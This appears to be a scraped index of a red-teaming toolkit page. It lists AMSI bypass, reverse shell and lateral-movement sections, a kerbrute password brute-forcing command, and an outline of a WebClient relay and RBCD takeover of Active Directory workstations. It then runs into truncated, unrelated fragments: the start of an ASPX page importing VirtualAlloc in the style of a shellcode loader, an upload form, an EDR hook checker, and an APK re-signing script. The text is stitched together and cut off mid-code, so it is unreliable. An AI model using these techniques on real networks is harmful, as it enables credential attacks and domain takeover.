bravery9

Red Teaming tool

General usefull Powershell Scripts
AMSI Bypass restriction Bypass
Payload Hosting
Network Share Scanner
Lateral Movement
Reverse Shellz
POST Exploitation

Kerberos cheatsheet

Bruteforcing

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

Overview

In the default configuration of Active Directory, it is possible to remotely take over Workstations (Windows 7/10/11) and possibly servers (if Desktop Experience is installed) when their WebClient service is running. This is accomplished in short by;

Triggering machine authentication over HTTP via either MS-RPRN or MS-EFSRPC (as demonstrated by @tifkin_). This requires a set of credentials for the RPC call.
Relaying that machine authentication to LDAPS for configuring RBCD
RBCD takeover

The caveat to this is that the WebClient service does not automatically start at boot. However, if the WebClient service has been triggered to start on a workstation (for example, via some SharePoint interactions), you can remotely take over that system. In addition, there are several ways to coerce the WebClient service to start remotely which I cover in a section below.

Tested on Windows 10 x64, Anniversary Update
17.09.2017

Set up OpenVPN

Set up an OpenVPN connection following this guide
Generate a TA key and place it in the same folder as the other certificates/keys:

set http or socks proxy

# set http proxy
export http_proxy=http://127.0.0.1:8080
# set http proxy with user and password
export http_proxy=http://USERNAME:[email protected]:8080
# set http proxy with user and password (with special characters)
export http_proxy=http://`urlencode 'USERNAME'`:`urlencode 'PASSWORD'`@127.0.0.1:8080

How to pass the OSCP

Recon
Find vuln
Exploit
Document it

Recon

Unicornscans in cli, nmap in msfconsole to help store loot in database.

	```cs
	<%@ Page Language="C#" AutoEventWireup="true" %>
	<%@ Import Namespace="System.IO" %>
	<%@ Import Namespace="System.Security.Cryptography" %>
	<script runat="server">

	[System.Runtime.InteropServices.DllImport("kernel32")]
	private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);

	[System.Runtime.InteropServices.DllImport("kernel32")]

	<!DOCTYPE html>
	<html>
	<head>
	<title>Upload your files</title>
	</head>
	<body>
	<form enctype="multipart/form-data" action="upload.php" method="POST">
	<p>Upload your file</p>
	<input type="file" name="uploaded_file"></input><br />
	<input type="submit" value="Upload"></input>

	using System;
	using System.Runtime.InteropServices;

	/* References
	* 1. https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscall-functions
	* 2. https://github.com/Mr-Un1k0d3r/EDRs
	*/

	namespace SharpHookCheck
	{

	# You must first install apktool (https://github.com/iBotPeaches/Apktool) and android SDK
	# and decompile apk using it
	# apktool d -rf my-app.apk

	# then generate a key for sign in:
	# keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
	rm signed-app.apk
	apktool b -f -d com.myapp
	jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore com.myapp/dist/com.myapp.apk alias_name
	zipalign -v 4 com.myapp/dist/com.myapp.apk signed-app.apk